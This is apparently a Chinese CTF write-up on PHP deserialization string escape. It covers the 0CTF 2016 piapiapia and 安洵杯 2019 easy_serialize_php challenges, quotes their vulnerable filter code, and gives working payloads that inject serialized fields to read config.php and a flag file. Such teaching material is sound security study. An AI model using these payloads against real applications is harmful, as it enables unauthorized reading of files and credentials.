PHP反序列化字符串逃逸小结
101
正常的序列化字符串进行反序列化
1 2 3 4 5 6 7 8 9 10
| echo var_dump(unserialize('O:4:"test":3:{s:2:"id";s:1:"1";s:4:"user";s:5:"admin";s:4:"pass";s:5:"admin";}'));
object(test) ["id"]=> string(1) "1" ["user"]=> string(5) "admin" ["pass"]=> string(5) "admin" }
|
非正常
1 2 3 4 5 6 7 8 9 10
| echo var_dump(unserialize('O:4:"test":3:{s:2:"id";s:1:"1";s:4:"user";s:5:"admin";s:4:"pass";s:6:"hacked";}";s:4:"pass";s:5:"admin";}'));
object(test) ["id"]=> string(1) "1" ["user"]=> string(5) "admin" ["pass"]=> string(6) "hacked" }
|
这里我们把用户名处的数据改为 admin";s:4:"pass";s:6:"hacked";}
而之后的 ";s:4:"pass";s:5:"admin";}
则会被忽略
[0CTF 2016]piapiapia
1 2 3 4 5 6 7 8 9 10
| if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile));
|
在更新信息时,nickname参数可以使用数组类型bypass长度限制
但无法直接控制 $profile['photo']
的内容
1 2 3 4 5 6 7 8 9
| $username = $_SESSION['username']; $profile=$user->show_profile($username);
$profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo']));
|
在显示信息时, $profile['photo']
为读取的文件
此题思路即为将该参数的内容改为存有flag的文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public function show_profile($username) { $username = parent::filter($username);
$where = "username = '$username'"; $object = parent::select($this->table, $where); return $object->profile; }
public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }
|
存入信息时,存在字符替换,其中"where" -> "hacker"存在字符串长度变长的问题
1 2 3 4 5 6 7 8
| <?php $config['hostname'] = '127.0.0.1'; $config['username'] = 'root'; $config['password'] = ''; $config['database'] = ''; $flag = ''; ?>
|
需要读取的文件为config.php
简单测试一下序列化的结果
1 2 3 4 5 6 7 8 9
| $file['tmp_name'] = '11111'; move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = '11111111111'; $profile['email'] = '1@1.1'; $profile['nickname'] = array('1111111111'); $profile['photo'] = 'upload/' . md5($file['name']); echo serialize($profile);
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:5:"1@1.1";s:8:"nickname";a:1:{i:0;s:10:"1111111111";}s:5:"photo";s:39:"upload/d41d8cd98f00b204e9800998ecf8427e";}
|
那么可以在nickname处作一些处理,我们要读取的内容为config.php
那么可以设置nickname的值为 1111111111";}s:5:"photo";s:10:"config.php
结果如下
1
| a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:5:"1@1.1";s:8:"nickname";a:1:{i:0;s:41:"1111111111";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/d41d8cd98f00b204e9800998ecf8427e";}
|
但是nickname中i:0;s:41仍然限定了字符串的长度,反序列化时会将 1111111111";}s:5:"photo";s:10:"config.php
作为值
这时候可以用到"where" -> "hacker"这个字符串替换的机制
数据的处理流程为"序列化->处理字符串->反序列化"
那么就存在如下情况
1
| {i:0;s:6:"where"";} -> {i:0;s:6:"hacker"";}
|
输入为where"
而替换之后可以使得"进行逃逸
基于这个情况就可以进行读取文件的操作
输入的nickname为
1
| wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php
|
序列化的结果为
1
| a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:5:"1@1.1";s:8:"nickname";a:1:{i:0;s:186:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/d41d8cd98f00b204e9800998ecf8427e";}
|
进行替换之后为
1
| a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:5:"1@1.1";s:8:"nickname";a:1:{i:0;s:186:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/d41d8cd98f00b204e9800998ecf8427e";}
|
即可使得所需内容 ";}s:5:"photo";s:10:"config.php
进行逃逸
[安洵杯 2019]easy_serialize_php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php
$function = @$_GET['f'];
function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); }
if($_SESSION){ unset($_SESSION); }
$_SESSION["user"] = 'guest'; $_SESSION['function'] = $function;
extract($_POST);
if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; }
if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); }
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
|
粗略看上去是需要控制 $_SESSION['img']
这个参数来读取,但是这个参数是无法直接进行控制的
即使 extract($_POST);
可以对 $_SESSION['img']
进行变量覆盖,但是还是会被之后的代码再次覆盖
filter()函数会对一些字符串替换为空,用来处理序列化的结果是不安全的
默认的 $serialize_info
1
| a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
|
可以考虑使用变量覆盖来重新构造序列化字符串
1 2 3
| _SESSION[user]=&_SESSION[function]=
a:3:{s:4:"user";s:0:"";s:8:"function";s:0:"";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
|
可以在function处构造img参数
然后在user处构造被过滤的字符串,将fuction转为user的值,从而使function处构造的img参数可以逃逸
1 2 3
| _SESSION[user]=phpflagflagphpflagflag&_SESSION[function]=;s:1:"a";s:1:"a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
a:3:{s:4:"user";s:22:"";s:8:"function";s:56:";s:1:"a";s:1:"a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
|
对序列化的结果进行操作是不安全的,应当尽量避免